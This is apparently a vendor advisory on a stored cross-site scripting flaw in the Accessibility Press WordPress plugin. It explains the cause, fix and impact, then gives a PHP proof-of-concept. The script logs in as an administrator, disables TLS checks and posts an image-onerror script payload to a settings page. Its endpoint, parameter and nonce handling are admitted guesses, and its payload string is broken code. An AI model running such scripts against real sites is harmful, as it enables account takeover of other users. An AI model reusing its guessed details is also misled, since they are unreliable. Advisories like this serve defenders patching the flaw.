Atomic Edge analysis of CVE-2025-49355 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Accessibility Press WordPress plugin, affecting versions up to and including 1.0.2. The flaw exists due to insufficient input sanitization and output escaping. Attackers with administrator-level privileges or higher can inject arbitrary JavaScript, which is stored and executed when a user accesses a compromised page. The vulnerability is only exploitable on WordPress multisite installations or on single sites where the `unfiltered_html` capability is disabled for administrators.
Atomic Edge research infers the root cause is a failure to properly sanitize user-controlled input before it is stored in the database or echoed in a page. The CWE-79 classification confirms improper neutralization of input during web page generation. The description indicates the vulnerability requires administrator-level access and is contingent on `unfiltered_html` being disabled. This suggests the plugin likely uses a custom admin menu or settings page where administrators can input data. The plugin fails to apply adequate sanitization functions like `sanitize_text_field` or output escaping functions like `esc_html` on this data before rendering it. These conclusions are inferred from the CWE and WordPress context, as no source code diff is available for confirmation.
Exploitation requires an attacker to have an administrator account on the target WordPress site. The attacker would likely navigate to a plugin-specific settings or configuration page within the WordPress admin dashboard. They would then submit a crafted payload containing malicious JavaScript within a vulnerable input field. A realistic payload could be `
`. Upon submission, the payload is stored. The script executes in the browser of any user who later visits the page where this unsanitized data is displayed, such as a front-end page or an admin panel section controlled by the plugin.
Remediation requires implementing proper input validation and output escaping. The plugin developers should sanitize all user input on the server-side using WordPress core functions like `sanitize_text_field`, `wp_kses_post`, or `sanitize_textarea_field` based on the expected data type. Additionally, any data echoed to the browser must be escaped contextually using functions like `esc_html`, `esc_attr`, or `wp_kses`. A patch would involve adding these sanitization and escaping calls to the relevant functions that handle the administrator’s form submission and subsequent data display. The fix should also enforce proper capability checks, though the vulnerability already requires high privileges.
The impact of successful exploitation is limited by the attacker’s required privilege level but remains significant. An administrator attacker can inject malicious scripts that execute in the context of other users, including other administrators. This can lead to session hijacking, account takeover, defacement of site pages, or redirection to malicious sites. In a multisite network, a super administrator could compromise multiple sites. The stored nature of the attack means the payload persists and affects users until the malicious data is removed or the plugin is patched.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-49355 - Accessibility Press <= 1.0.2 - Authenticated (Administrator+) Stored Cross-Site Scripting
<?php
/*
* Proof of Concept for CVE-2025-49355.
* This script simulates an authenticated administrator exploiting a Stored XSS vulnerability.
* The exact vulnerable endpoint and parameter are inferred from the plugin slug and vulnerability type.
* Assumptions:
* 1. The target has the vulnerable plugin (ilogic-accessibility) installed.
* 2. The attacker possesses valid administrator credentials.
* 3. The vulnerability exists in a plugin admin menu that accepts unsanitized input.
* 4. The `unfiltered_html` capability is disabled for the administrator role.
*/
$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'admin'; // CHANGE THIS
$password = 'password'; // CHANGE THIS
// Payload to trigger a JavaScript alert. In a real attack, this would be malicious JavaScript.
$xss_payload = '<img src=x onerror="alert('XSS by Atomic Edge Research');">';
// Initialize cURL session for WordPress login to obtain authentication cookies.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies to file
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$login_response = curl_exec($ch);
// Check for successful login by looking for a dashboard redirect or absence of login form.
if (strpos($login_response, 'wp-admin') === false && strpos($login_response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
/*
* The exact vulnerable form endpoint is unknown. Common patterns for plugin admin settings include:
* - A custom admin page (e.g., /wp-admin/admin.php?page=ilogic-accessibility-settings).
* - An AJAX handler (/wp-admin/admin-ajax.php) with a specific action.
* This PoC targets a hypothetical admin settings page POST request.
* The parameter name 'accessibility_setting' is an educated guess.
*/
$exploit_url = $target_url . '/wp-admin/admin.php?page=ilogic-accessibility';
$post_data = array(
'accessibility_setting' => $xss_payload,
'submit' => 'Save Changes',
// A nonce would normally be required; its absence or improper validation could be part of the flaw.
'_wpnonce' => 'inferred_nonce_missing_or_bypassed' // Placeholder. In a real attack, the nonce would be harvested from the form page first.
);
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$exploit_response = curl_exec($ch);
// Check for a successful submission (e.g., a success message or lack of error).
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch);
} else {
if (strpos($exploit_response, 'Settings saved') !== false || strpos($exploit_response, 'updated') !== false) {
echo 'Payload submitted successfully. The XSS should now be stored.n';
echo 'Visit the front-end page or admin section where this setting is displayed to trigger execution.n';
} else {
echo 'Payload submission may have failed. The vulnerable endpoint or parameters might differ.n';
echo 'Response length: ' . strlen($exploit_response) . 'n';
}
}
curl_close($ch);
unlink('cookies.txt'); // Clean up
?>
